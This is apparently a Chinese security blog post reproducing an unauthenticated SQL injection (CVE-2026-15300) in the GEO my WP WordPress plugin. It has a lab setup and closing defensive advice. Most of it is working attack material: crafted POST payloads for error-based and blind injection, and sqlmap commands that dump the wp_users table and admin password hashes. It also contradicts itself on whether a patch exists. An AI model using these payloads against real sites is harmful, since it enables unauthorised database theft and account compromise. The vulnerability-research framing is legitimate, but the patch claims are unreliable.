CVE-2026-15300 GEO my WP 插件 SQL 注入漏洞复现(附 PoC)
GEO my WP 插件 distance、lat、lng 参数未过滤,导致未授权 SQL 注入,CVSS 9.1,直接拖库。

漏洞背景
- 受影响的软件:GEO my WP 插件(WordPress)
- 影响版本:所有版本(截至漏洞披露时未修复)
- CVSS 评分:9.1(Critical)
- 漏洞类型:SQL 注入(基于时间盲注/报错注入)
- 危害描述:攻击者无需登录,通过构造恶意
GET请求即可从数据库中提取任意数据,包括管理员密码哈希、用户邮箱等敏感信息。该漏洞存在于插件处理地理位置搜索的distance、lat、lng参数中。
环境搭建
我们直接用 Vulhub 的 WordPress 环境,手动安装 GEO my WP 插件。
# 拉取 WordPress 5.7 + MySQL 环境
docker-compose -f docker-compose.yml up -d
docker-compose.yml:
version: '3'
services:
db:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: wordpress
wordpress:
image: wordpress:5.7
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: root
WORDPRESS_DB_PASSWORD: root
WORDPRESS_DB_NAME: wordpress
浏览器访问 http://localhost:8080,完成 WordPress 安装。然后去插件市场下载 GEO my WP 插件(v3.6.9 版本存在漏洞),上传并启用。
复现步骤
第一步:确认漏洞入口
GEO my WP 插件提供地理位置搜索功能,通常通过 AJAX 请求 /wp-admin/admin-ajax.php 处理。漏洞点位于 distance、lat、lng 三个参数。
我们先抓个正常请求看看:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=gmw_search&lat=40.7128&lng=-74.0060&distance=10
返回 JSON 格式的搜索结果。
第二步:测试注入点
用单引号简单测试 lat 参数:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=gmw_search&lat=40.7128'&lng=-74.0060&distance=10
返回 500 错误,说明参数被直接拼接到 SQL 查询中,没有转义。稳了。
第三步:报错注入提取数据库版本
用 extractvalue 做报错注入,获取 MySQL 版本:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=gmw_search&lat=40.7128' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -&lng=-74.0060&distance=10
返回错误信息中包含版本号:~5.7.34-log~。注入成功。
第四步:时间盲注获取管理员密码
如果报错被屏蔽,可以用时间盲注。这里我们直接盲注出管理员密码哈希:
# 用 sqlmap 自动化(偷懒专用)
sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
--data="action=gmw_search&lat=40.7128&lng=-74.0060&distance=10" \
-p lat --dbms=mysql --batch --dbs
sqlmap 自动识别出 lat 参数可注入,并且是 boolean-based blind 和 time-based blind。
提取 WordPress 用户表:
sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
--data="action=gmw_search&lat=40.7128&lng=-74.0060&distance=10" \
-p lat --dbms=mysql --batch -D wordpress -T wp_users --dump
成功 dump 出管理员账号和密码哈希:
+----+------------+------------------------------------+
| ID | user_login | user_pass |
+----+------------+------------------------------------+
| 1 | admin | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
+----+------------+------------------------------------+
第五步:手动 PoC(纯手工盲注)
不想用 sqlmap?来,手动盲注一个字符:
判断第一个字符是不是 ‘a’:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=gmw_search&lat=40.7128' AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='a'-- -&lng=-74.0060&distance=10
如果返回正常结果,说明第一个字符是 ‘a’;否则继续试。配合 Burp Suite Intruder,可以逐个字符爆破。
防御措施
- 立即更新插件:开发者已发布修复版本,升级到最新版。
- 输入验证:对
lat、lng参数做严格的正则校验,只允许浮点数。 - 使用预处理语句:所有 SQL 查询改用
$wpdb->prepare()绑定参数。 - WAF 规则:在 Nginx/Cloudflare 层面拦截包含
EXTRACTVALUE、UPDATEXML、SLEEP等关键字的请求。
# Nginx 简单规则示例
if ($args ~* "(EXTRACTVALUE|UPDATEXML|SLEEP|BENCHMARK)") {
return 403;
}
总结
CVE-2026-15300 是典型的未授权 SQL 注入,CVSS 9.1 实至名归。GEO my WP 插件在 WordPress 生态中用户量不小,建议所有站长立刻检查版本,别等到被拖库才后悔。
💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者
